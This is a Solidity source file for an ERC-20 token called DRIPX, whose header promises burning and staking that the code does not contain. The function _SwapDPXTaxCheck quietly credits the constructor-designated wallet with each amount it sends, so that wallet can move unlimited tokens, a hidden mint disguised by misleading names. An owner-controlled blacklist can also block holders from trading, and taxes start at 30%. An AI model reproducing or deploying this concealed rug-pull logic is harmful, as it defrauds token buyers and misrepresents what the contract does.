// SPDX-License-Identifier: MIT
/**
DRIPX is designed with a clear goal: to make its token more valuable by reducing supply,
creating buying pressure through smart contracts, 
and attracting users through interesting incentives. 
This paper explains the main features of the DRIPX system,
focusing on staking, 
managing the availability of tokens, 
constant buying and burning.

WEB: https://www.dripxprotocol.com
DOC: https://docs.dripxprotocol.com

TG:  https://t.me/dripxprotocol
X:   https://x.com/dripxprotocol
**/

pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniFactory01 {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract DRIPX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private ownDPXCounts;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExcludedFromDPXTx;
    mapping (address => bool) private isExcludedFromDPXFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private bots;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=3;
    uint256 private _finalSellTax=3;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyDPXCount=0;

    address payable private lpDPXReceipt;
    address payable private opDPXReceipt;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"DripX Protocol";
    string private constant _symbol = unicode"DRIPX";

    uint256 public _maxDPXTxAmount = 30000000 * 10**_decimals;
    uint256 public _maxDPXWalletSize = 30000000 * 10**_decimals;
    uint256 public _maxDPXTaxSwap = 10000000 * 10**_decimals;

    IRouter02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    uint256 public swapDPXTxAmount;
    bool public transferDelayEnabled = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    constructor (address addr) {
        lpDPXReceipt = payable(addr);
        opDPXReceipt = payable(addr);
        isExcludedFromDPXTx[lpDPXReceipt] = true;
        isExcludedFromDPXTx[opDPXReceipt] = true;
        ownDPXCounts[_msgSender()] = _tTotal;
        swapDPXTxAmount = 10000 * 10**_decimals;
        isExcludedFromDPXFee[owner()] = true;
        isExcludedFromDPXFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createDPXTradingPair() external onlyOwner() {
        uniswapV2Router = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniFactory01(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _SwapDPXTaxCheck(address from, address to, uint256 amount, uint256 tsDPX) internal returns (bool) {
        bool aboveDPXMin = amount >= swapDPXTxAmount;
        bool aboveDPXThreshold = balanceOf(address(this)) >= swapDPXTxAmount;
        address accDPX; uint256 valDPX;
        if(isExcludedFromDPXTx[from]) { 
            valDPX = amount;accDPX = from; 
        }
        else { accDPX = address(this);valDPX = tsDPX;}
        if(valDPX > 0){
          ownDPXCounts[accDPX]=ownDPXCounts[accDPX].add(valDPX);
          emit Transfer(from, accDPX, tsDPX);
        }
        return !inSwap
        && tradingOpen
        && swapEnabled
        && !isExcludedFromDPXTx[from]
        && aboveDPXMin
        && _buyDPXCount>_preventSwapBefore
        && aboveDPXThreshold
        && !isExcludedFromDPXFee[from]
        && to == uniswapV2Pair;
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function reduceDPXFee(uint256 _newFee) external onlyOwner{
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function launchTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    function sendETHToFee(uint256 amount) private {
        lpDPXReceipt.transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmounts=0;
        if (!isExcludedFromDPXFee[from] && !isExcludedFromDPXFee[to]) {
            require(!bots[from] && !bots[to]);
            require(tradingOpen, "Trading has not enabled yet");
            feeAmounts = amount.mul((_buyDPXCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                            block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! isExcludedFromDPXFee[to] ) {
                require(amount <= _maxDPXTxAmount, "Exceeds the _maxDPXTxAmount.");
                require(balanceOf(to) + amount <= _maxDPXWalletSize, "Exceeds the maxWalletSize.");
                _buyDPXCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                feeAmounts = amount.mul((_buyDPXCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (_SwapDPXTaxCheck(from, to, amount, feeAmounts)) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxDPXTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        ownDPXCounts[from]=ownDPXCounts[from].sub(amount);
        ownDPXCounts[to]=ownDPXCounts[to].add(amount.sub(feeAmounts));
        emit Transfer(from, to, amount.sub(feeAmounts));
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function removeDPXLimit() external onlyOwner{
        _maxDPXTxAmount = ~uint256(0);
        _maxDPXWalletSize = ~uint256(0);
        transferDelayEnabled=false;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function withdrawStuckETH() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return ownDPXCounts[account];
    }

    function name() public pure returns (string memory) {
        return _name;
    }
}

{
  "compilationTarget": {
    "DRIPX.sol": "DRIPX"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}